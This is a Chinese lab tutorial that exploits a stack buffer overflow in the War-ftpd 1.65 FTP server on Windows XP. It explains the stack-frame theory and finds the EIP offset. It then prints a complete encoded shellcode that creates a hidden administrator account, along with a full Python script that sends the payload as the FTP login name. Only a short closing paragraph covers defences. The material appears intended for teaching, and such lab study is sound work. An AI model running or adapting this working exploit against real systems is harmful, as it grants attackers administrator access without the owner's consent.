利用缓冲区溢出漏洞进行的攻击占所有系统攻击的 80% 以上。本文利用 War-ftpd 1.65 的缓冲区漏洞,为 Windows XP 新建一个管理员账户。实验前需要安装 Windows XP 虚拟机和 Python 2.7 。
相关软件安装
新建一个文件夹放 ward169 ,双击打开。之所以要新建一个文件夹,是因为这个应用程序会在他所在的目录生成一堆文件,像下面这样
其中有一个 war-ftpd 就是我们要的,也就是带有缓冲区漏洞的程序。这个 war-ftpd 原本是一个 ftp 服务器的守护进程,打开大概是这个样子
但是这个时候 ftp 服务器还没有开启,为了方便后面的实验,这里我们设置成打开自动开启服务器。点击 Properties > Options 会弹出一个对话框,勾选 Go Online when star ,然后点击【确定】。
这样 war-ftpd 就算安装好了。另一个软件 OllyDbg 只需要解压缩就可以使用,下面简称为 od 。
实验原理
要明白缓冲区溢出漏洞,就必须先理解缓冲区。所谓缓冲区就是程序中开辟的一块内存,用于存放长度可变的数据。这些数据有时是程序中动态产生的,有时是用户输入的。一个常见的例子是用户登陆程序中,用于存放用户名和密码的缓冲区。因为不同用户的用户名和密码长度不同,所以程序员一般会在函数内申请两个字符数组,分别用于存放用户名和密码。这两个数组就是缓冲区。
正常情况下,用户的用户名和密码不会超过某个设定的最大长度,比如 255 个字符。在这种设定下,缓冲区的长度设为 256 就足够了。但是用户完全可以在用户名一栏输入 300 个字符,尽管这样是一定无法登陆的。问题在于,当用户输入的用户名长度超过 255 个字符时,多出来的那些字符放在哪呢?学过 C 语言的同学应该能想到,这些字符会放在缓冲区的后面。但是缓冲区的后面存放着其他变量的值,这些变量的值就有可能被非法更改。这就是缓冲区溢出。
本实验是基于栈溢出的,所以这里还需要对运行栈做一个简单的介绍。从上面的讨论中我们可以看出,缓冲区溢出漏洞使攻击者有可能更改那些被保存在栈中的变量。那么栈里到底存着什么呢?一般来说,除了在程序运行过程中通过 malloc 等函数动态分配的内存空间,剩下的变量都保存在栈里。除此之外,栈里还保存着函数参数、函数的返回地址等信息,这些信息构成了函数的栈帧。每当程序中发生一次函数调用,设这个函数的函数名是 func ,栈中就会压入 func 的栈帧,之后才能开始执行 func 。栈帧的用处就不展开说了,只需要知道, func 执行结束后,程序会跳到栈帧指出的返回地址继续执行。
那么如果我们可以覆盖栈帧中的返回地址,就能控制程序的执行了。但是我们想做的远不止如此:我们不仅要控制程序的执行,还希望让程序执行我们给出的代码。要做到这一点,必须首先把代码放到栈中,这一点通过缓冲区溢出也很容易完成。那么只需要将程序的执行跳转到栈里就完成了攻击。
不幸的是,程序一般只能在代码段执行。就算我们使用缓冲区溢出漏洞更改了函数的返回地址, CPU 也只会在代码段寻找对应的指令,不会在堆栈段取指。因此我们不能直接将返回地址设置为堆栈段的地址,而是需要借助一条 JMP ESP 指令。这条指令的功能是使程序的执行跳转到堆栈中 ESP 对应的位置。于是问题就变成了,如何将我们的代码放在 ESP 对应的位置上。事实上, ESP 对应的位置是很容易计算的,所以最后一个问题也就解决了。
总结一下,利用缓冲区溢出漏洞进行攻击也就是向程序发送一个超长的用户名,其中包含着要覆盖的函数返回地址和我们自己的代码。构造这个用户名是完成攻击的核心,大概分成一下几步
- 计算函数返回地址的存放位置
- 查找 JMP ESP 指令的位置,放在函数返回地址处
- 计算 ESP 对应的位置
- 将我们的代码放在 ESP 对应的位置上
实验操作
要利用缓冲区溢出漏洞,首先需要检测漏洞的存在。如果漏洞的确存在,就可以查找 EIP 相对缓冲区的位置了。然后需要在 dll 中查找 JMP ESP 的位置,并需要构造特定的 Shellcode 。这里的 Shellcode 就是我们要加载到堆栈的指令。最后,使用 JMP ESP 地址以及 Shellcode 构造一个字符串,作为用户名发送给 War-ftpd 服务器即可。
检测漏洞
因为 war-ftpd 是一个多线程服务器,缓冲区溢出只会使其中一个线程异常退出,所以表面上看不出漏洞是否存在。这就需要用到 od 来跟踪程序的执行过程。首先打开 od ,在 od 内部运行 war-ftpd 。
面板被分成四部分,其中右上角显示的是寄存器状态,主要关注这部分就够了。接下来使用 Python 向服务器发送 ftp 连接请求(这里使用 Python 是为了便于构造和输入用户名字符串)。
可以看出,当用户名为 500 个连续的 A 时,缓冲区发生溢出。因为 A 的 ASCII 码是 41H ,所以 EIP 的值被改为 41414141H 。
定位 EIP
根据上面的实验可以发现,用户名长度在 500 时就已经覆盖了 EIP 的地址了,所以 EIP 的相对偏移就在 0-499 之间。但是相对偏移究竟是多少,还需要在进行几次实验才能得到。首先来看偏移的百位数字。
EIP 的值被设置为了 45454545H ,而 45H 恰好是 E 的 ASCII 码。因为 E 只出现在用户名的 400-499 位,所以 EIP 的偏移也在这个范围中。接下来确定偏移的十位数字。
类似地根据 EIP 的值 49494949H 可以确定偏移在 480-489 之间。最后确定偏移的个位数字。
由此可见, EIP 相对用户名的偏移为 485-488 。
查找 JMP ESP
这里使用中文 WIN XP 下通用的 JMP ESP 地址 0x7FFA4512 。
构造 Shellcode
这里给出一个 Shellcode ,可以创建一个管理员账号 zane ,密码是 enaz 。
\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49
\x49\x49\x51\x5a\x6a\x4a\x58\x30\x42\x30\x50\x41\x6b
\x41\x41\x5a\x42\x32\x41\x42\x32\x42\x41\x41\x30\x42
\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x79\x6c\x69\x78
\x51\x54\x57\x70\x43\x30\x63\x30\x4c\x4b\x67\x35\x45
\x6c\x6e\x6b\x71\x6c\x66\x65\x43\x48\x55\x51\x5a\x4f
\x4e\x6b\x70\x4f\x42\x38\x4c\x4b\x43\x6f\x51\x30\x56
\x61\x78\x6b\x30\x49\x4c\x4b\x76\x54\x4c\x4b\x65\x51
\x7a\x4e\x66\x51\x6b\x70\x5a\x39\x6e\x4c\x4d\x54\x4f
\x30\x73\x44\x56\x67\x68\x41\x5a\x6a\x66\x6d\x44\x41
\x6a\x62\x58\x6b\x48\x74\x65\x6b\x72\x74\x31\x34\x77
\x74\x74\x35\x79\x75\x6c\x4b\x73\x6f\x67\x54\x64\x41
\x7a\x4b\x62\x46\x6e\x6b\x64\x4c\x30\x4b\x6e\x6b\x33
\x6f\x75\x4c\x37\x71\x48\x6b\x6e\x6b\x57\x6c\x4c\x4b
\x77\x71\x58\x6b\x4c\x49\x61\x4c\x56\x44\x47\x74\x69
\x53\x70\x31\x4b\x70\x45\x34\x4c\x4b\x31\x50\x64\x70
\x6f\x75\x49\x50\x52\x58\x36\x6c\x4c\x4b\x43\x70\x64
\x4c\x4e\x6b\x74\x30\x45\x4c\x4c\x6d\x4e\x6b\x63\x58
\x33\x38\x6a\x4b\x47\x79\x4c\x4b\x4d\x50\x68\x30\x37
\x70\x73\x30\x53\x30\x6e\x6b\x35\x38\x55\x6c\x53\x6f
\x47\x41\x6a\x56\x73\x50\x52\x76\x4b\x39\x7a\x58\x4f
\x73\x6b\x70\x63\x4b\x76\x30\x42\x48\x31\x6e\x78\x58
\x78\x62\x62\x53\x62\x48\x7a\x38\x4b\x4e\x4f\x7a\x66
\x6e\x30\x57\x69\x6f\x38\x67\x61\x73\x50\x6d\x55\x34
\x66\x4e\x33\x55\x73\x48\x35\x35\x61\x30\x54\x6f\x45
\x33\x31\x30\x50\x6e\x72\x45\x50\x74\x65\x70\x30\x75
\x41\x63\x70\x65\x73\x42\x37\x50\x51\x6a\x62\x41\x62
\x4e\x72\x45\x71\x30\x71\x75\x70\x6e\x50\x61\x72\x5a
\x37\x50\x46\x4f\x43\x71\x71\x54\x43\x74\x41\x30\x36
\x46\x51\x36\x55\x70\x70\x6e\x43\x55\x70\x74\x55\x70
\x30\x6c\x72\x4f\x32\x43\x35\x31\x50\x6c\x70\x67\x64
\x32\x72\x4f\x54\x35\x42\x50\x35\x70\x32\x61\x71\x74
\x42\x4d\x62\x49\x30\x6e\x55\x39\x33\x43\x73\x44\x71
\x62\x51\x71\x72\x54\x50\x6f\x54\x32\x31\x63\x45\x70
\x71\x6a\x42\x41\x62\x4e\x41\x75\x55\x70\x46\x4f\x30
\x41\x30\x44\x30\x44\x43\x30\x4a
构造用户名并发送
用户名由四个部分组成。第一部分是一些填充位,其目的是使第二部分恰好位于 EIP 对应的位置。为了实现这个目标,可以在用户名上首先放置 485 个 A ,这样第二部分相对用户名的偏移就恰好是 485 。第二部分是 JMP ESP 指令的地址,也就是 7FFA4512H 。第三部分又是一些填充位,目的是使第四部分恰好位于 ESP 所指向的地址。因为 ESP 总是指向 EIP 后面四个字节的位置,所以第三部分的填充长度就是四个字节。填充内容可以任意选择,这里使用 NOP 指令。第四部分是之前构造的 Shellcode 。
from ftplib import FTP
buffer = 'A' * 485 + '\x12\x45\xfa\x7f' + '\x90' * 4
buffer += "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
buffer += "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x51\x5a\x6a\x4a"
buffer += "\x58\x30\x42\x30\x50\x41\x6b\x41\x41\x5a\x42\x32\x41\x42\x32\x42"
buffer += "\x41\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x79\x6c\x69"
buffer += "\x78\x51\x54\x57\x70\x43\x30\x63\x30\x4c\x4b\x67\x35\x45\x6c\x6e"
buffer += "\x6b\x71\x6c\x66\x65\x43\x48\x55\x51\x5a\x4f\x4e\x6b\x70\x4f\x42"
buffer += "\x38\x4c\x4b\x43\x6f\x51\x30\x56\x61\x78\x6b\x30\x49\x4c\x4b\x76"
buffer += "\x54\x4c\x4b\x65\x51\x7a\x4e\x66\x51\x6b\x70\x5a\x39\x6e\x4c\x4d"
buffer += "\x54\x4f\x30\x73\x44\x56\x67\x68\x41\x5a\x6a\x66\x6d\x44\x41\x6a"
buffer += "\x62\x58\x6b\x48\x74\x65\x6b\x72\x74\x31\x34\x77\x74\x74\x35\x79"
buffer += "\x75\x6c\x4b\x73\x6f\x67\x54\x64\x41\x7a\x4b\x62\x46\x6e\x6b\x64"
buffer += "\x4c\x30\x4b\x6e\x6b\x33\x6f\x75\x4c\x37\x71\x48\x6b\x6e\x6b\x57"
buffer += "\x6c\x4c\x4b\x77\x71\x58\x6b\x4c\x49\x61\x4c\x56\x44\x47\x74\x69"
buffer += "\x53\x70\x31\x4b\x70\x45\x34\x4c\x4b\x31\x50\x64\x70\x6f\x75\x49"
buffer += "\x50\x52\x58\x36\x6c\x4c\x4b\x43\x70\x64\x4c\x4e\x6b\x74\x30\x45"
buffer += "\x4c\x4c\x6d\x4e\x6b\x63\x58\x33\x38\x6a\x4b\x47\x79\x4c\x4b\x4d"
buffer += "\x50\x68\x30\x37\x70\x73\x30\x53\x30\x6e\x6b\x35\x38\x55\x6c\x53"
buffer += "\x6f\x47\x41\x6a\x56\x73\x50\x52\x76\x4b\x39\x7a\x58\x4f\x73\x6b"
buffer += "\x70\x63\x4b\x76\x30\x42\x48\x31\x6e\x78\x58\x78\x62\x62\x53\x62"
buffer += "\x48\x7a\x38\x4b\x4e\x4f\x7a\x66\x6e\x30\x57\x69\x6f\x38\x67\x61"
buffer += "\x73\x50\x6d\x55\x34\x66\x4e\x33\x55\x73\x48\x35\x35\x61\x30\x54"
buffer += "\x6f\x45\x33\x31\x30\x50\x6e\x72\x45\x50\x74\x65\x70\x30\x75\x41"
buffer += "\x63\x70\x65\x73\x42\x37\x50\x51\x6a\x62\x41\x62\x4e\x72\x45\x71"
buffer += "\x30\x71\x75\x70\x6e\x50\x61\x72\x5a\x37\x50\x46\x4f\x43\x71\x71"
buffer += "\x54\x43\x74\x41\x30\x36\x46\x51\x36\x55\x70\x70\x6e\x43\x55\x70"
buffer += "\x74\x55\x70\x30\x6c\x72\x4f\x32\x43\x35\x31\x50\x6c\x70\x67\x64"
buffer += "\x32\x72\x4f\x54\x35\x42\x50\x35\x70\x32\x61\x71\x74\x42\x4d\x62"
buffer += "\x49\x30\x6e\x55\x39\x33\x43\x73\x44\x71\x62\x51\x71\x72\x54\x50"
buffer += "\x6f\x54\x32\x31\x63\x45\x70\x71\x6a\x42\x41\x62\x4e\x41\x75\x55"
buffer += "\x70\x46\x4f\x30\x41\x30\x44\x30\x44\x43\x30\x4a"
ftp = FTP('127.0.0.1')
ftp.login(buffer, 'www')
运行上述代码得到
查看控制面板中的用户列表发现多了一个用户,并且被设置成了管理员。这就是 Shellcode 的功能。
防范思路
编程人员可以采用更加安全的语言(如 Java)替代 C 语言进行开发;使用更加安全的函数(如 fgets);使用具有溢出检测功能的编译器;减少不必要的服务端口等。